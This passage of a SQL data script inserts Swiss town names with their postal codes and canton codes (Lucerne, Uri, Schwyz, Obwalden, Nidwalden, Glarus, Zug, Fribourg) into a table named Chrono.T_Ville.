VALUES ("CHE","Luthern",6156,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Luthern Bad",6156,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Menznau",6122,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Geiss",6123,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Menzberg",6125,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nebikon",6244,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Urban",4915,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pfaffnau",6264,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reiden",6260,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reidermoos",6260,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mehlsecken",6260,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Langnau b. Reiden",6262,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Richenthal",6263,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Roggliswil",6265,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ohmstal",6143,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schötz",6247,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ufhusen",6153,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wauwil",6242,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wikon",4806,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hintermoos",6260,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zell LU",6144,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hüswil",6152,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Daiwil",6126,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Willisau",6130,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rohrmatt",6132,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Altdorf UR",6460,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Andermatt",6490,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Attinghausen",6468,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bauen",6466,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bürglen UR",6463,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Erstfeld",6472,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flüelen",6454,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Göschenen",6487,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Intschi",6476,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gurtnellen",6482,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hospental",6493,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Isenthal",6461,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Realp",6491,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schattdorf",6467,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Haldi b. Schattdorf",6469,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seedorf UR",6462,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seelisberg",6377,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rütli",6441,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Silenen",6473,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Amsteg",6474,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bristen",6475,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sisikon",6452,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Spiringen",6464,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Urnerboden",8751,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterschächen",6465,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wassen UR",6484,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meien",6485,"UR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bennau",8836,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Einsiedeln",8840,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trachslau",8840,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gross",8841,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Euthal",8844,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Willerzell",8846,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Egg SZ",8847,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rigi Scheidegg",6410,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gersau",6442,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schindellegi",8834,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Feusisberg",8835,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hurden",8640,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bäch SZ",8806,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Freienbach",8807,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pfäffikon SZ",8808,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wollerau",8832,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wilen b. Wollerau",8832,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wollerau",8832,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Merlischachen",6402,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Küssnacht am Rigi",6403,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Immensee",6405,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Altendorf",8852,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Galgenen",8854,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Innerthal",8858,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lachen SZ",8853,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reichenburg",8864,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Siebnen",8854,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schübelbach",8862,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buttikon SZ",8863,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tuggen",8856,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vorderthal",8857,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wangen SZ",8855,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alpthal",8849,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Goldau",6410,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","<NAME>",6410,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","<NAME>",6410,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","<NAME>",6410,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberarth",6414,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arth",6415,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Illgau",6434,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brunnen",6440,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lauerz",6424,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stoos SZ",6433,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Morschach",6443,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Muotathal",6436,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bisisthal",6436,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ried (Muotathal)",6436,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberiberg",8843,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riemenstalden",6452,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rothenthurm",6418,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sattel",6417,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seewen SZ",6423,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwyz",6430,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rickenbach b. Schwyz",6432,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ibach",6438,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steinen",6422,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steinerberg",6416,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unteriberg",8842,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Studen SZ",8845,"SZ"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pilatus Kulm",6010,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alpnachstad",6053,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alpnach Dorf",6055,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grafenort",6388,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Engelberg",6390,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Giswil",6074,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kerns",6064,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Niklausen OW",6066,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Melchtal",6067,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Melchsee-Frutt",6068,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lungern",6078,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bürglen OW",6078,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sachseln",6072,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flüeli-Ranft",6073,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kägiswil",6056,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sarnen",6060,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ramersberg",6060,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wilen (Sarnen)",6062,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stalden (Sarnen)",6063,"OW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Beckenried",6375,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buochs",6374,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dallenwil",6383,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wiesenberg",6383,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wirzweli",6383,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Emmetten",6376,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bürgenstock",6363,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ennetbürgen",6373,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ennetmoos",6372,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hergiswil NW",6052,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberdorf NW",6370,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Büren NW",6382,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederrickenbach",6383,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stans",6370,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stansstad",6362,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Obbürgen",6363,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fürigen",6363,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kehrsiten",6365,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wolfenschiessen",6386,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberrickenbach",6387,"NW"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Näfels",8752,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mollis",8753,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Filzbach",8757,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Obstalden",8758,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bilten",8865,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederurnen",8867,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberurnen",8868,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mühlehorn",8874,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mitlödi",8756,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwanden GL",8762,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwändi b. Schwanden",8762,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sool",8762,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Engi",8765,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Matt",8766,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Elm",8767,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nidfurn",8772,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Haslen GL",8773,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leuggelbach",8774,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Luchsingen",8775,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hätzingen",8775,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Diesbach GL",8777,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Betschwanden",8777,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüti GL",8782,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Linthal",8783,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Braunwald",8784,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Glarus",8750,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riedern",8750,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Klöntal",8750,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Netstal",8754,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ennenda",8755,"GL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Allenwinden",6319,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Baar",6340,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cham",6330,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hagendorn",6332,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hünenberg",6331,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hünenberg See",6333,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Menzingen",6313,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Edlibach",6313,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Finstersee",6313,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sihlbrugg",6340,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neuheim",6345,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberägeri",6315,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alosen",6315,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Morgarten",6315,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rotkreuz",6343,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buonas",6343,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Risch",6343,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Holzhäusern ZG",6343,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steinhausen",6312,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterägeri",6314,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neuägeri",6314,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Walchwil",6318,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zug",6300,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zugerberg",6300,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberwil b. Zug",6317,"ZG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Châtillon FR",1473,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cheiry",1529,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chapelle (Broye)",1534,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cugy FR",1482,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vesin",1483,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fétigny",1532,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gletterens",1544,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lully FR",1470,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seiry",1470,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bollion",1470,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ménières",1533,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cousset",1774,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cousset",1774,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montagny-les-Monts",1774,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mannens",1775,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grandsivaz",1775,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montagny-la-Ville",1776,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nuvilly",1485,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Prévondavaux",1410,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Aubin FR",1566,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Friques",1566,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sévaz",1541,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villeneuve FR",1527,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Surpierre",1528,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Praratoud",1528,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vallon",1565,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montet (Broye)",1483,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Frasses",1483,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aumont",1484,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Granges-de-Vesin",1484,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Delley",1567,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Portalban",1568,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dompierre FR",1563,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Domdidier",1564,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Léchelles",1773,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chandon",1773,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Russy",1773,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Estavayer-le-Lac",1470,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Font",1473,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Autavaux",1475,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Forel FR",1475,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montbrelloz",1475,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vuissens",1486,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Murist",1489,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bussy FR",1541,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Morens FR",1541,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rueyres-les-Prés",1542,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cheyres",1468,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Châbles FR",1474,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Auboranges",1673,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Billens",1681,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hennens",1681,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chapelle (Glâne)",1608,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Châtelard-près-Romont",1689,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Châtonnaye",1553,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ecublens FR",1673,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grangettes-près-Romont",1686,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Massonnens",1692,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Berlens",1680,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mézières FR",1684,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montet (Glâne)",1674,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Romont FR",1680,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Promasens",1673,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gillarens",1673,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rue",1673,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Blessens",1675,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chavannes-les-Forts",1676,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Prez-vers-Siviriez",1677,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Siviriez",1678,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villaraboud",1679,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ursy",1670,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bionnens",1670,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Esmonts",1670,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vuarmarens",1674,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Morlens",1674,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vauderens",1675,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mossel",1675,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villaz-St-Pierre",1690,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villariaz",1685,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Neirigue",1686,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vuisternens-devant-Romont",1687,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Magne",1687,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Estévenens",1687,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sommentier",1688,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lieffrens",1688,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Joux FR",1697,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Ecasseys",1697,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villarsiviriaux",1694,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villargiroud",1694,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Orsonnens",1694,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chavannes-sous-Orsonnens",1694,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Torny-le-Grand",1748,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Middes",1749,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lussy FR",1690,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villarimboud",1691,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Albeuve",1669,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lessoc",1669,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Sciernes-d'Albeuve",1669,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neirivue",1669,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montbovon",1669,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gumefens",1643,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Avry-devant-Pont",1644,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Bry",1645,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Botterens",1652,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villarbeney",1652,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Broc",1636,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bulle",1630,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Tour-de-Trême",1635,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Châtel-sur-Montsalvens",1653,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corbières",1647,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villarvolard",1651,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Crésuz",1653,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Echarlens",1646,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grandvillard",1666,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gruyères",1663,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pringy",1663,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Epagny",1663,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Moléson-sur-Gruyères",1663,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hauteville",1648,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jaun",1656,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Im Fang",1656,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Marsens",1633,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vuippens",1633,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Morlon",1638,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Pâquier-Montbarry",1661,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pont-la-Ville",1649,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riaz",1632,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Roche FR",1634,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sâles (Gruyère)",1625,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Maules",1625,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Romanens",1626,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Treyfayes",1626,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rueyres-Treyfayes",1626,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sorens",1642,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vaulruz",1627,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vuadens",1628,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Estavannens",1665,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-sous-Mont",1666,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Enney",1667,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Charmey (Gruyère)",1637,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cerniat FR",1654,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arconciel",1732,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Autigny",1742,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rosé",1754,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corjolens",1754,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Avry-sur-Matran",1754,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Belfaux",1782,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Autafond",1782,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chénens",1744,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corminboeuf",1720,"FR"); INSERT INTO Chrono.T_Ville VALUES 